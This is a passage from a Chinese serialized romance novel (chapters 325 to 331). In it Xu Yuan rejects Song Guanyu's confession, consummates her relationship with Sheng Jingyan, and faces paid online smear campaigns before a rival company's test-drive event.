宋驰为此没少操心他的事,为了让他对许愿死心甚至让他相亲,在B市让他见了十几二十个千金小姐,他一概没瞧上,满脑子全都是许愿。 待知道许愿被人设计后想都不想也不顾宋驰还安排了什么马不停蹄赶回A市。 许愿没从警局出来前宋驰得知他自己跑回A市忍不住打电话骂他,宋观鱼乖乖听骂还不忘记让宋驰花钱帮许愿撤热搜。 他看不得许愿被人嘲讽辱骂,他对宋驰说“爸,我不想那些人欺负她,谁也不能欺负她,看到她被欺负我好想整个人难受的快要死掉了。” 宋驰哑然又心酸。 当初算命师傅说的到底是成了真。 他当年就说不要宋观鱼改名字,他偏要改,改到最后遇到了全家出生都是水属性的许愿,偏偏克他,会让他孤独终老,全都算准了。 宋驰心里难过,但他就这么一个儿子,到底是心疼,只能由着他去发疯。 那人算了那么多人,他这次希望对方算错一次,好歹……不要让自己儿子孤独终老。 宋驰内心多纠结宋观鱼全然不知,此刻他的目光全部停留在许愿身上,一动不动。 许愿靠在椅子上,此刻的她发丝凌乱,面容苍白,似是十分萎靡,偏偏又散发出致命的诱惑力。 宋观鱼一时看呆了。 就这么一眼,他好像忘记了一切,目光只能追随她了。 许愿看到宋观鱼,她揉捏了下眉心。 “我在里面接到了一通电话,是你父亲打来的,他让我放过你。” 她确实接到了宋驰的电话,宋驰是在得知宋观鱼为了许愿重新赶到A市后给许愿打了这样一通电话。 许愿当时都被气笑了。 这与她有什么关系呢?是她逼着宋观鱼喜欢她吗?她还没怪宋观鱼满口谎言进入盛世接近她 。 偏偏这人现在又撞到她面前来。 许愿看着面前的有些呆呆傻傻的高大男人,心里有怒火也被浇灭了。 他眼底的真诚是骗不了人的。 宋观鱼对自己是戏耍还是真心,许愿比任何人都清楚。 她撇开头,沉默地站了一会儿才开口:“宋观鱼,我要问你几个问题,你不能撒谎,必须老实回答。” “我问你一句,你答我一句,不准撒谎。”许愿开口。 第326章 再一次拒绝 听到许愿说的话,宋观鱼表情都恍惚了。 片刻后他深深吸一口气才乖巧点头:“你问,我不撒谎。” 他倒是不心虚。 除了身份相关的他就没再骗过许愿了。 许愿勾起薄唇,缓缓问道,“你叫宋观鱼?” “是呀。”他确实叫这个。 他眼睛都闪闪发亮在发光,她不会骗许愿的。 许愿笑着看着他:“你真的叫宋观鱼?” “我真的叫宋观鱼。” 宋观鱼觉得委屈了,他真的叫这个,为什么一直问他,这个他没骗人啊。 许愿目光紧盯着他,片刻后再度开口。 “我再问一次,你真的叫宋观鱼,你再说谎我不会再给你机会。” 在许愿这里,信任是最基本的。 宋观鱼更委屈了,但是想到自己的身份他又挺直腰板开口。 “我真的叫宋观鱼,简历上有我的身份证复印件,你看过的!我原来叫宋焱,因为算命的总说我命里缺火,我不服气啊,玩火那不是把我自己都烤干了吗,所以我成年后就改名叫宋观鱼了,老头不改我偏改,我成年到现在都叫很久宋观鱼了,就我那群小弟都喊我鱼哥!我没骗你!” 许愿:“……” 跟盛景炎说的对上了。 还真是因为这种离谱的原因改名字啊。 许愿看着面前的人,许久未开口,宋观鱼眼睛不眨的望着她,眼底写满了真诚。 “你家破产了?”许愿继续往下问。 宋观鱼大概猜到什么,犹豫半晌才嗫嚅道,“没有。” “你爸是宋驰?B市那个宋驰?” “是。”微弱的声音更加萎靡,他第一次觉得宋家少爷的身份竟然是拿不出手的。 “你说过喜欢我是吗?”许愿问他。 “喜欢!”萎靡的声音瞬间变得坚定,宋观鱼直勾勾地看着许愿,眼神不再闪躲。 许愿在审视他,她说过自己有爱人了,是盛景炎,但显然宋观鱼还没有放弃对她的感情。 被人喜欢其实是会开心感动的,但是她不希望宋观鱼将目光放在自己身上。 她有爱人了,宋观鱼这样好的人,她希望宋观鱼也会拥有自己的人生,拥有自己的爱人,而不是追求一段没有结果的爱情。 她靠在沙发上定定看向对面,忽然说道:“你知道我的过去吗。” 宋观鱼坚定不移的眼眸里有晦暗不明的光点闪烁。 “我结过婚,我的前夫是傅京礼,我为他流过一个孩子。” 他失神了,挺直的脊背仿佛不堪重负,微微佝偻下去。 亲耳听见许愿这样说,感觉与以前是完全不同的。 他连愤怒都没有地方宣泄。 他知道这些,以前知道许愿跟傅京礼结过婚但不知道真的流过产,他以为那些都是八卦都是谣传,但此刻他才能感受到胸口难以言喻的痛苦。 他会在意许愿结过婚在意她有过别人的孩子,但绝对不是瞧不起,而是心疼。 这对女性身体伤害多大。 他眸光暗淡,眼底都是对她的在意,眼神真诚到许愿都有一瞬的恍惚。 “会痛吗。” 他问。 会痛吗。 他不会想到更多,他第一时间想到的是许愿会不会难过会不会痛。 许愿喉头发紧,内心略过一抹自嘲的笑。 痛吗? 当然会痛。 离婚的时候会难过,看到傅京礼会难过,失去与他的孩子也会难过。 那段时间她闭上眼睛就会止不住的做噩梦,梦到一个小孩子在耳边喊她妈妈,说她好疼不想走。 与这些比起来身体上的疼痛算得了什么呢? 身体上的疼痛终不及心理上的疼痛,至今她看到路边的幼童都会想到那个没有机会降生就被夺去生命的孩子。 许愿垂下眼睫没有作答,宋观鱼见此喉间发堵。 然而只是一瞬,他眼眸里的那些晦暗与疼痛便都消失了。 “我不在乎!我只在乎你会不会难过!” 他抹了把脸,趁机把眼角的泪光也抹去:“我不管你跟傅京礼曾经是什么关系,我就是喜欢你。” 许愿静静看着这个被爱意和痛苦折磨的年轻人。 即使得知了她以前的事情,他的感情依旧纯粹。 “我喜欢你,不因为你的曾经,我就是喜欢现在的你,你结过婚离过婚谈过几段恋爱,我会在乎但我对你的感情史纯粹的,” 宋观鱼摸摸自己疼痛的胸口,“这就是我现在的心情。你荣耀满身的时候,我喜欢你。你落入泥沼的时候,我依旧喜欢你。这份感情不会因为任何事或任何人,发生改变。无论怎样,我就是喜欢你!” 终于说出来了,宋观鱼低下头,默默等待审判。 他就是喜欢许愿,特别喜欢,特别特别喜欢,他此刻都已经忘记许愿说过自己有爱人。 许愿顿了片刻,心里翻涌着许多不知名的情绪。 其实她对感情的态度一直都很认真,如果在嫁给傅京礼前遇到宋观鱼,她或许会被他的真诚打动。 但现在她有盛景炎了,她的整颗心都已经给了盛景炎,没有多余的感情分给别人。 宋观鱼久久等不到回应,于是悄悄抬头,紧张万分地瞥了一眼。 她是不是很苦恼?她会接受自己的告白吗? “对不起,你的感情我不能接受。”许愿疲惫摇头。 “为什么?”宋观鱼的嗓音在发颤,通红的脸颊瞬间苍白。 “我欺骗你是我不对,你不要生气好吗?你打我吧!打完了,这件事就过去了,好不好?”宋观鱼慌忙扑到许愿脚边,半跪在地上,英俊的脸庞写满哀戚和恐慌。 “我没有生气。”许愿声音平静,带着几分无奈。 “你没生气?”痛苦和恐慌都在加剧,宋观鱼失魂落魄:“那你是不喜欢我才会拒绝我?” 许愿看着他:“我有爱人了。” “宋观鱼,我的爱人是盛景炎,你明白吗。” 她要把话说清楚,不能让宋观鱼继续在自己身上浪费时间。 “更何况,你知道爱是需要守护的吗。” 宋观鱼委屈地快哭了,这样高大英俊的男人,此刻却如此委屈,委屈到眼睛发红成了兔子眼。 第327章 唯一的爱人 许愿看着面前委屈的几乎要哭出来的宋观鱼,忍不住捏了捏眉心斥她:“不许哭!” 隐忍的眼泪一瞬间掉落,宋观鱼真的哭了。 这是他第一次不听许愿的话。 “你拒绝我,还不让我哭!我就是觉得委屈”宋观鱼此刻委屈的表情像个被抛弃的孩子。 是啊,他可不就是要被许愿抛弃了吗? 被抛弃了怎么会不难过? 宋观鱼想,他如果真的要哭起来,都要水漫金山了。 他忍不住抓住许愿的手,急切道:“你也喜欢我,好不好?” 高大的青年半跪在身前,袒露出赤诚的一颗心。 “宋观鱼,我有爱人了,我很爱盛景炎,他对我很好,你不该在我身上浪费时间,你以后会遇到更适合你的人,那个人不会是我。” 许愿的话说的直白。 宋观鱼看着她,眼睛更红了,看他这副模样,许愿顿了下,换了种说法。 “宋观鱼,盛景炎和我在一起时他是盛世的总裁,再盛家独当一面,在商圈也有自己的地位” “你呢?” “就算我遇到你的时候没有跟盛景炎在一起,你觉得以你的能力你护得住我吗。” 其实许愿根本不需要任何人保护,但是她需要宋观鱼明白一些道理。 不够强大,连守护和追求的资格都没有。 “如果在盛景炎之前遇到你,你能维护我吗?” 宋观鱼有些激动的想开口,许愿缓缓开口。 “不要说你的父亲是宋驰,如果只是你自己,你能为我做什么?” “又或者说,如果我不是现在的许愿,只是一个普通的离过婚的女人,身上没有其他任何光环荣耀的加持,你追求我爱慕我,你的父亲宋驰不同意我们在一起,你能如何反抗他,你能为此做什么。” 现在很多人怂恿催促自己的子孙去追求许愿,全都是看重了许愿所能带来的巨大利益。 如果她只是一个普通女人,没有经商头脑不能开脱资本市场不能研发新品,那些人只会将许愿看做一个离过婚流过产的普通女人。 他们不会同意自己族内优秀的小辈去喜欢追求一个离过婚的女人。 那些大家族的大家长是这样想,宋驰自然也是这样想。 宋观鱼也明白了许愿的意思,脸色微微发白。 他父亲的确提到过许愿结过婚流过产的事情,但最终宋驰提到既然喜欢的是许愿,那他也没办法,仅因为许愿的身份摆在这里。 她是许愿,是能在干枯沙漠开辟出一片绿洲的女人,所以宋驰退让妥协。 如果许愿没有这一层身份,宋驰势必会阻挠两人。 宋观鱼内心酸涩难耐。 “宋观鱼,你脑袋里多想一点东西?你父亲是宋驰,你手中没有任何实权,如果你爱的人就只是个普通女性,哦,换句话说是一个离过婚可能无法生育的女性,如果让他知道,你猜他会怎么对付这样的女人?他只要一句话,我的事业就毁了!我甚至不可能在国内立足!你有能力阻止他吗?” 宋观鱼被问住了,呆愣片刻才慌忙说道:“我跟你一起出国!” 他的反应很快,嘴完全跟不上脑子。 脱口而出出国。 “那我的事业呢?我的梦想呢?” 许愿看着他缓慢问道:“你要让你的心上人为了跟你在一起放弃好不容易得到的一切?你知道她为了过上这样的生活,付出了多少吗?你凭什么把它们全都毁掉?你凭什么让她放弃一切,从头开始?宋观鱼,爱一个人最低的底线,一定是不要给他带去灾难,你能明白吧。” “你知道现在有多少人在讨论我和你的关系吗。” “你在这个时候冲出来,那群人怕是又要冷嘲热讽说我风流,踹了盛景炎选择了更大的资本势力。” “宋观鱼,现在那么多人都在盯着我,你只是肆无忌惮的追求我,却会给我带来大麻烦,你懂吗。” 宋观鱼呆呆地听着这些话,闪烁的眼眸慢慢灰暗。 许愿疲惫叹息。 “我还挺喜欢我现在的生活的,有朋友有爱人,有自己的事业,所以我不想平静的一切被打破。” “可是……可是盛景炎他……他也并没有很好……而且他。” 他还断了腿。 但这话宋观鱼说不出口,盛景炎的腿是怎么断的宋观鱼心知肚明,所以才无法开口。 “他怎样我都接受我都喜欢。” “站不起来只是暂时的,我会陪着他让他重新站起来。” “他会是我未来唯一的爱人。” 说这话时许愿眸光中都带着几分凛冽的光,显然宋观鱼选错了话题。 她不会嫌弃盛景炎是拖累。 宋观鱼半跪在地上,浑身冰冷。 他竭力想找出一个点反驳,却总也找不到。 盛景炎有多好他都知道,就是因为知道才无法反驳。 而且如果按照许愿所说,那许愿的假设不是假设,是必然会发生的事。 如果许愿真的只是个普通人,那他的爱,带给许愿的只有灾难和毁灭。 许愿背靠盛世,尚有一丝反抗能力,而他什么都做不了。更何况他只是跟许愿多接触了几次,那群人就已经编造出了无数的黄色笑话来嘲讽许愿重伤许愿,他带给许愿的只有无尽的麻烦。 如果许愿是个普通人,她或许还会因为他被迫事业丢掉工作,那他能做什么? 许愿失业了,他能帮许愿找到工作吗? 没钱生活了,他被冻结的银行卡可以取出钱吗? 没有宋家少爷的光环,他需要过多久才能让许愿过上安稳的生活?如果逃到国外又会经历什么? 去到国外,失去宋家少爷的光环,他能做什么?在国内都被外国工人嘲讽,去了国外丢了身份要被多少人看不起呢? 他还能重新让许愿过上如今富足奢华的生活吗? 或许那时他工作一个月省吃俭用才堪堪能买得起一件像样的高定送给许愿。 这样的他,又凭什么求着许愿跟他在一起? 就像许愿说的那样。 他甚至连像样的未来都无法许诺。 第328章 你输得不冤 宋观鱼僵硬地站起身,垂着头,把万念俱灰的脸庞藏在阴影里。 “对不起许愿。”嗓音忽然哽咽,他痛楚万分地说道:“可我真的好喜欢你……我不想给你添麻烦,我只是控制不住自己的心去喜欢你。” 许愿一直看着面前的男人。 “我知道。” “但我拒绝。” 她如此直白残忍的拒绝。 “我的爱人是盛景炎,现在是盛景炎以后也会是盛景炎。” “宋观鱼,不要在我身上浪费时间了,过好你自己的生活,追求更适合你的人,你会遇到你未来的爱人。” “对不起,我果然还是太幼稚了,但我喜欢你的心是真的。” 宋观鱼望着她,还是说出深情的话。 话落宋观鱼转身朝玄关走去。 许愿默默看着高大青年。 “宋观鱼,希望你能遇到对的人。” 泪水顺着宋观鱼的脸颊滚落。 为什么世界上会有这么一个人,给他痛苦绝望的同时,又给他满足快乐?悲和喜,一齐涌上来,都藏在心底,这份浓烈的爱意,不曾有片刻淡去。 他觉得自己真的很好满足,许愿只是说希望遇到对的人,他就已经开心到落泪,他真的太卑微。 离开前,他还是忍不住回头,提出一个要求。 “许总,我能抱抱你吗,就当一个安慰的拥抱。” 他请求。 许愿温柔的摇头。 “那样就超出友谊的界限了,我会在意,盛景炎也会在意,所以抱歉。” 宋观鱼挺想笑的。 如果他是盛景炎,他或许会高兴到疯掉吧。 他真是嫉妒盛景炎,嫉妒到几乎快要发疯的程度。 这次宋观鱼大步离去,没有再回头,他怕自己回头会忍不住的哭出来再度红了眼眶。 在许愿面前一次又一次的哭鼻子,真的太丢脸了。 但有一些事许愿没有说错,其实如果不曾遇到许愿,他永远都不会知道:原来光有爱是不够的,还要拥有守护爱的能力。 现在的他根本没有资格祈求这份感情。 因为许愿已经将一切都讲给他听,就算没有盛景炎他也没有足够的能力守护许愿。 宋观鱼离开包厢后蹲坐在门口,他嘴上叼着一支不曾点燃的香烟,脸颊布满泪水。 他想抽烟但是又不会抽烟,学人做样子的叼了根烟此刻舍不得离开,哪怕隔着一扇门的距离,他也觉得自己离她很近。 心中的痛苦久久没有消散。 他在门口做了很久,久到听到耳边传来轮椅滚动声,他动了动耳朵,有些敏锐的抬起头露出那双因为流泪发红的眼睛。 来人坐在轮椅上,相貌俊美带着几分病气,却生了好相貌。 是盛景炎。 宋观鱼脸上立刻露出凶狠的表情死死盯着盛景炎,目光却在触及他断掉的双腿时泄了气。 他有什么可怪盛景炎的? 就算没有盛景炎许愿也不会跟他在一起,而且若是没有盛景炎,许愿被抛弃被设计陷害只会更痛苦,是盛景炎一直陪在她身边为她规避了很多危险。 盛景炎与许愿之间,他才是那个多余的被人厌恶的人。 想到这里宋观鱼身体都在轻微的颤抖,甚至有种克制不住的嘲意。 宋观鱼观察盛景炎时盛景炎也在观察她。 这不是盛景炎第一次见宋观鱼了。 面试那天他匆忙之间瞥见过宋观鱼一眼,那时的宋观鱼意气风发桀骜不驯的,像是草原上久胜不败的雄狮,而现在的宋观鱼像是哭红了眼睛的兔子。 虽然用兔子来形容宋观鱼有些不贴切,但他的眼睛是真的很红。 他又告白了吗? 看来是被拒绝了啊。 盛景炎手掌握着轮椅扶手,眼神淡然的看着宋观鱼。 他不问宋观鱼和许愿的关系,因为他全权相信许愿,他甚至在此刻觉得宋观鱼可怜。 宋观鱼不知道盛景炎心中所想,但此刻看到盛景炎虚弱的模样觉得自己背着他追求许愿有些令人不齿。 他痛苦地抓挠头发。 焦急中, 他忽然想到什么, 哑着嗓子开口解释:“我和许总什么关系都没有,是我爱慕她追求她,许总已经第二次拒绝我了,盛总不必担心。” 明明已经难过的快要死掉了,还担心因为自己会让他们之间出现感情危机的焦急解释,又笨拙又可怜。 “盛总,你能不能帮帮许愿?” 盛景炎眉头都轻微皱起。 他有些理解宋观鱼的脑回路。 他大概觉得许愿现在遇到的麻烦事太多,想让他帮忙解决,他觉得好笑,他和许愿是恋人关系他当然会帮许愿一直守在她身后,但前提是不会破坏她的计划。 宋观鱼不够了解他也不够了解许愿。 心是好的,脑子是笨的。 宋观鱼不知道这一会儿功夫盛景炎心里想了这么多,他还在未许愿辩白解释。 “许愿不会做任何背叛盛世的事!我拿我的人格担保!你要相信他的为人去帮她!你是她的爱人,你必须帮她,你不能不管她!” 他明明看着悲壮,但盛景炎就是想笑。 他这副平静淡然的态度让宋观鱼心里发凉。 “盛总,我已经说的这样清楚明白,你一言不发到底是什么意思?” 宋观鱼已经开始生气了,浑身的火往外冒。 盛景炎神色寡淡:“你说喜欢她却又不了解她。” 脑中明显闪过许愿趾高气昂气定神闲的姿态,盛景炎忍不住轻笑一生。 “你为什么会认为许愿这样的人需要人去拯救。” “你为什么觉得许愿没有纵观棋局是下棋的人?” “宋观鱼,阿愿平易近人却又高高在上,她善良温柔可以跟任何人接触可以放低身段的向下兼容,但她这样的人本身是站在高处的,她早就想到会发生今天的事想好了对策。” “我贸然出手可能会毁掉她整个计划。” 说到此处盛景炎意味深长:“你和阿愿不是一类人,你不了解她,你输得不冤。” 宋观鱼哑口无言,眼底闪过懊恼之色。 是的,因为许愿在他耳边一直强调如果她只是个普通女人她会遭遇到什么,所以导致他忘记了许愿所拥有的。 第329章 要不要成为我的人 包厢的门开了。 许愿看到盛景炎却完全不感觉到意外,只是微微挑了下眉,目光略过宋观鱼点了下头说道:“早点回家。”方才到盛景炎身边,助理立刻让开,许愿推着他的轮椅向外走着,两人有说有笑。 宋观鱼就坐在冰冷的地面,脊背靠着泛凉的墙面,内心酸楚瑟然。 许愿和盛景炎在一起,那样自然,她看向盛景炎的眼神都是带着笑意的,是那种和看向他时的眼神全然不同。 看向他时许愿眼底也会带着笑意,但没有其他情意,就像许愿说的她欣赏他,但她看他的眼神从来不是一个女性去看待异性的眼神。 与她而言,他就像是一个没那么重要的过客。 可她对上盛景炎,他看到了许愿眼底盛装的万千星河。 她……是真的很爱盛景炎。 挺好的不是吗。 盛景炎了解她,可以为她放弃一切,换做是他也只能堪堪做到这份儿上。 宋观鱼目光一直追随着两人的目光,直到再也看不到两人的身影。 他打给宋驰。 “爸,我好像输的很惨。” 宋驰没有说话,透过宋观鱼嘶哑的声音他能感受到宋观鱼受到了刺激,他不说话,沉默已经化作某种无言委婉的叹息。 “我突然明白许愿说的那些话。” “我或许真的不够聪明,我在完全不了解她的前提下对她说爱,所以才会让她认为幼稚,我明明姓宋是你唯一的继承人却还不能扛起肩上的担子。” “我这样的人,遇到喜欢的人也守不住护不住的吧。” 宋驰不知道说什么。 其实宋驰最开始想让宋观鱼去A市就是想让许愿教会宋观鱼这些让他明白自己身上背负的责任然后回到宋家掌权,但他不希望以这种血泪的教训作为结局。 “爸,我想接手宋氏了。” 宋观鱼哑声开口。 宋驰连连叹息。 宋观鱼挂断电话,仍然低垂着头坐在冰冷的地面,他抱住自己的头遮住自己发红的眼。 他会到那个高度的,哪怕一辈子都不能跟许愿在一起,不会被她爱着也没关系,等到了那个高度,她会看到自己的身影,他们会合作,会产生另一种羁绊。 宋观鱼做下什么决定许愿全然不知,其实大概能猜得到一星半点,但她不会当着盛景炎的面说这些。 回到公寓助理离开,门才关上许愿就已经俯身,两条手臂抱住盛景炎的脖子,含笑看他。 “是知道宋观鱼跟我去了包厢所以着急吃醋了?” 她说着,贴近他亲了亲。 只亲了下就闻到了淡淡的甜味儿,像是水蜜桃糖果的甜味儿。 “好心机啊盛景炎,来见我之前还吃了糖果,是不是想我亲你。” 盛景炎眸色暗了,大掌按压住她的后脑,她挑了下眉却完全不反抗,由着她的动作唇瓣再次贴到男人唇上。 这次的吻带着缠绵悱恻的意味儿,能尝到他嘴巴里的甜味儿,温柔的吻总是更容易让人沉沦其中。 “你和宋观鱼去包厢的照片被拍到了。”盛景炎提醒她。 “猜得到是谁做的,容浔现在不会发疯,不是莱蒂斯就是奥瑞亚,无非是想再踩我一脚。” “我猜猜那群人怎么骂我的?宋观鱼真实身份被扒出来了?他们是不是认为我要巴结宋观鱼靠着宋家的势力为盛世渡过难关?或者认为我背叛你选择了宋家?” 无外乎就是那几种可能,许愿闭着眼睛都能猜到。 她忍不住轻笑:“现在大概所有人都在心疼我们盛总要被我这样水性杨花的女人抛弃了呢。” “盛总,我抛弃你了?”许愿贴近他,暧昧温热的气息喷洒着,漆黑水润的瞳眸中映出的是他的身影。 “没有抛弃哦,我们在接吻,对吗。” 说着,再度贴上他的唇,吻的深情又深入,好像希望这样让自己身上沾满他的味道。 她能感受得到盛景炎身体的反应,她有些不自然的动了动身体,舌尖划过他的耳垂,声音带着明显的撩拨之意。 “你是真的坐怀不乱,还是不敢。” 她在暗示什么盛景炎能听懂。 他有一瞬的恍惚,似乎不明白许愿为什么在这种时候提起这种事。 “阿愿,别闹。”他有些无奈。 “是谁在闹,是谁给了我回应?”许愿双手捧住男人俊美的脸,笑吟吟的看着他。 “外面那么乱,我没有心情想这些。”网上的人都在骂她,她不难过他都会心疼。 “这样不是很好吗。” 许愿声音里藏着笑意。 “他们在骂许愿那个多情的女人要抛弃盛景炎这个小可怜去重新跟傅京礼复婚了,事实呢,事实是我再一次拒绝了傅京礼跟你吻在一起。” “他们在骂许愿寻到了新的后台金主要变成宋家少夫人了,他们在猜在骂,在网上掀起风浪,而我们在房内一夜红烛到天亮……不好吗。” 盛景炎眸光再度深了几许,不等他回应,许愿已经缠了上来。 他们拥抱过亲吻过,但一直没有到最后一步。 那时许愿腹中有孩子,后来又是那场重病……再之后就是他车祸。 他们甚至很少谁在一间房,特别是车祸后盛景炎一直都是自己睡,因为他的身体,仍是没办法接受的。 “阿愿,别闹了。” 他别过头去,不去对着许愿炽热的眼神。 “为什么觉得我在闹?” 许愿捏住他的下巴,逼着盛景炎对上自己的眼睛。 “又在妄自菲薄自卑了吗?” “你这身材长相有什么可自卑的。”许愿看着他,笑吟吟的,那一瞬间让盛景炎有种自己是被调戏的良家妇男的错觉。 “你这样的,亲多少次都不会老实的,就是要睡一次,睡一次你就不会整天唉声叹气了。” 事实上他也没有唉声叹气,但她就喜欢这样调侃他。 盛景炎一时哑然不知道自己要如何作答,许愿却已经勾住他的衣领,语气里面带着明显撩拨意味儿。 “要不要成为我的人。” 她这话隐含的意思尤其明显。 第330章 缠绵 要不要成为她的人,这是要跟他…… 盛景炎有些无奈,还没开口许愿就已经抱着手臂看着他:“又要说我再胡闹了?” “盛景炎,我没闹,我就是想真的跟你在一起。” “你知道的,我是食肉动物,你总这么素着我,我不开心。” 她已经睁着眼睛开始胡说八道了。 之前为什么没有到最后一步?还不是顾忌她的身体状况? 而且……盛景炎这人虽然长了一张渣男脸,像是对待感情不认真的那种男人,但事实上盛景炎这人才是真的纯爱。 他好像觉得我还没有真的求婚跟你结婚成为夫妻那就不能做到最后一步。 这是对她的尊重。 但很明显许愿就是要把他的计划全盘打破。 盛景炎心里隐隐有猜测到许愿为什么这样做。 许愿太了解他了。 他们没有做到最后一步所以在盛景炎心里许愿还是自由的,她可以随时离开他选择其他男人,他不会阻拦,但若是真的做到最后一步……他才会真正的完全的将许愿看作是自己的专属所属,像是完全贴上了自己的印记标签,像是圈地盘那样,再不会给许愿离开的机会了。 许愿就是了解他这样别扭又古怪的性格所以才会在此刻挑开这个话题。 她想给他安全感,问什么盛景炎愿不愿意成为她的人,事实上是许愿在告诉盛景炎“我要成为你的人”。 盛景炎喉间发堵,他眼神闪烁,声音中带着几分瑟然。 “阿愿,你不必做到这一步。” “你不要岔开话题,我们之前聊的不是这个。”许愿不惯着他这岔开话题的毛病,她又问:“你愿不愿意成为我的人。” 问出这句话,就像是再一次的跟他说“盛景炎,我要成为你的人。” 她是真的聪明,最会拿捏盛景炎的人了。 “阿愿,你是认真的吗。” 盛景炎看着他,他生了一双漂亮的桃花眼,曾经在国外的时候因为这双含情眼不知道迷倒了多少人,总是给人一种纨绔的感觉,但此刻这双眼里盛装的都是认真专注。 “我对你的感情还不够认真吗。” “在我接受盛世的时候你就该知道了。” “如果我不爱你,如果我没有认真对待这段感情,我为什么要接下这烫手山芋在盛世被人针对被人设计被人陷害?你以为我是为了谁?” 许愿握住他的手放置在自己的胸口处。 “我对你的感情,你是真的感受不到吗。” 她的感情炽热真诚,他如何感受不到,就是感受到了才会觉得自己有时受之有愧。 就像许愿说的,她确实是苏青莲的女儿,是一个十成十的恋爱脑,她既然选择爱那个人就会做到极致。 “我感受的到。”他回她。 “那么现在你的答案呢,要不要成为我的人。” 这是第三次询问了。 她又一次坚定的开口问他,要不要让她成为他的人。 盛景炎眼神闪烁,未等他有回应,许愿已经一把拽住他的领口:“我为什么要一直问这样的废话,就不该给你选择的机会,今天,我就是要让你成为我的人。” 这话,听在他耳朵里就好像在说:“今晚,我就是要成为你的人。” 轮椅被推到主卧,他双腿不便却方便了她,坐在他的腿上抱着他的脖子呜咽,任何的动作到最后都化作喉间的轻哼声。 听着她甜腻的声音,明明是她在强迫他但到了后面声音里却带了哭腔骂着“混蛋”。 是啊,他不就是个混蛋吗?这种事还要她逼着来。 真混蛋啊盛景炎。 可是……他是真的觉得很爽, 是那种能明确感受到自己的爱人在深刻的爱着自己,她明明知道自己在退缩,还是要将躲在龟壳里面的他揪出来。 “辛苦你了。”他嗓音是哑着的,带着慵懒的满足感。 她的下巴抵在男人肩侧,呼吸都是不稳的,此刻身体软作一团,脑子都是乱的,但是下一刻却被男人的大掌制住了柔软的腰身。 她听到男人在她耳边轻声:“接下来,交给我。” 什么? 不是已经结束了吗? 许愿怔了下,有些慌的想逃却退无可退重新被男人桎梏在怀中…… 一夜沉沉浮浮,都没能让盛景炎停下,他就像是被困了太久的猛兽被放出笼,冲到许愿身边,咬住她的后颈,一遍遍的在她身上标记。 他甚至会带着笑意的问她还受不受得住,她软绵绵的说受不住却被男人控制着听到他含笑的声音说:“说开始的是你,那说结束的该是我才对。” 混蛋盛景炎…… 许愿在睡过去前,满脑子都是“混蛋”两个字。 天已经蒙蒙亮,许愿已经沉沉睡去,“混蛋”盛景炎方才放开她,看着床上眼睛红肿的爱人,他很轻很轻的叹息一声,然后将人重新抱进怀中。 是她给了他最坚定的答案。 她选了他,既然选了他,那以后他都不会再放手了。 她只能是他的了。 …… 网络上的骂战一直就没停,莱蒂斯和奥瑞亚所在的家族都花钱买了水军,点开网络就能看到最近推的热搜。 “许愿这种女人谁能制得住啊,出了事就跑,她真能安稳待在一个男人身边?我看她别是妄想着开后宫吧,没看那群男人被她迷得五迷三道的,全都跟疯了一样,许愿真的是A市人吗,真的不是云城人吗,我怎么觉得她像是会下蛊一样?” “傅京礼士傅家继承人,盛景炎盛家继承人,宋观鱼宋家继承人,好好好,许愿就是喜欢吊着大家族的继承人是吗?他们到底喜欢许愿什么?喜欢她水性杨花玩弄男人感情吗?” “哈,如果我是男人我也会选择许愿,许愿不美吗?知不知道许愿那张脸放到古代那要是什么水准级别的?祸国殃民级别的!” “就没有人来制裁许愿吗?前几天还说最爱盛景炎,说什么等盛先生回家,现在就勾搭上宋观鱼了?以前是傅先生后来是盛先生,以后是不是要换成宋先生了?真恶心啊。” 第331章 栽到温柔乡了 “谁要关注许愿的感情生活,我就想知道许愿是不是真的盗窃了商业机密资料。” “没看她都被无罪释放了?看样子是没查出什么,谁知道是真的没查到还是上面有人是她裙下臣呢。” 看热闹的冷嘲热讽的人数不胜数。 宋观鱼没有蠢到这个时候发声,他清楚自己一旦发声那群人只会更猛烈的攻击许愿。 然而这时盛景炎却登录了自己的微博发了一条微博。 【盛景炎】:她是我的了。 他拍了一张照片,是两人十指紧扣的图片,甚至还能看到女性手腕上印上的粉色吻痕,而她的手上还戴着一枚钻石戒指。 外面的人掀起骂战,盛景炎却还在这里岁月静好秀恩爱。 不懂的人只以为盛景炎是在帮许愿说话,懂得人却明白盛景炎在宣誓主权。 其中不乏有人嘲讽盛景炎恋爱脑都这种时候了还要继续维护许愿呢,盛景炎却不看评论区也不看那些黑子言论,他不想毁掉许愿的计划,发完微博就打算抱着许愿继续休息。 她几乎一整晚没睡,他想陪她睡个好觉。 岂料发了那条微博韩城的号码就切进来了。 才睡过去的许愿忍不住哼哼,盛景炎直接就把韩城电话挂了。 另一头的韩城满脸不可思议的看向自己大哥:“狗东西挂我电话!” 韩越扬了下眉:“我来打。” 韩越打电话过去,提示那边已经关机了。 韩越:“……” 黎云笙作为这三人中唯一一个开过荤的,他捏了捏眉心难得做了个好人:“这种聚会也没必要叫盛景炎过来,你们让他跟许愿好好休息吧,再过几天他们还有一场硬仗要打。” 为什么这个时间打算聚会?其实说白了是韩城想让某些人知道哪怕盛世陷入困境还有韩家黎家支持盛景炎。 但显然盛景炎还有自己的事,韩城和韩越就算是没谈过也从黎云笙这句话里听出点画外音,再衔接上盛景炎发的那条微博,立刻就懂了。 哦,原来是栽到温柔乡了,和着他们是多此一举了啊。 行吧,自己兄弟开心就行。 许愿彻底清醒的时候已经是晚上了,和盛景炎真正完全的确定关系后许愿能明显感觉到盛景炎更粘人了。 无时无刻都想贴着她。 有点像是那种有分离焦虑症的小动物。 许愿本就被闹了一整晚,现在整个人都还在气头上,但看到盛景炎放低姿态内心那点火瞬间就灭了。 外面骂声愈演愈烈,什么专家学者都被收买冲出来嘲讽许愿,许愿却缩在家里面和盛景炎亲密恩爱岁月静好,盛景炎甚至还有时间在微博上发一发莱蒂斯曾经在国外出丑的小段子,攻击性不大但侮辱性极强。 莱蒂斯气的眼前一黑,加大力度买水军攻击许愿和盛景炎。 但显然他俩不接招,继续在微博发他的笑料。 许愿在公寓里休息几天终于接到了助理打来的电话。 这几天许愿不在盛世,盛世的老狐狸们急的像是热锅上的蚂蚁,想找茬骂人但是许愿根本不在盛世,更气了。 助理现在联系许愿就是要告诉她莱蒂斯所属的企业今天中午要在风月山开试车会,全程直播,消息已经传遍全网。 段星河的新型智能技术完全可以让人类摆脱旧能源的桎梏,奔向新时代。 国人对此非常关注,海外企业举国欢腾,全世界也都聚焦于这场小小的试车会。 许愿一点也不觉得惊讶。 让公关部发布营销计划的时候她就猜到,莱蒂斯所属的企业一定会先发制人。 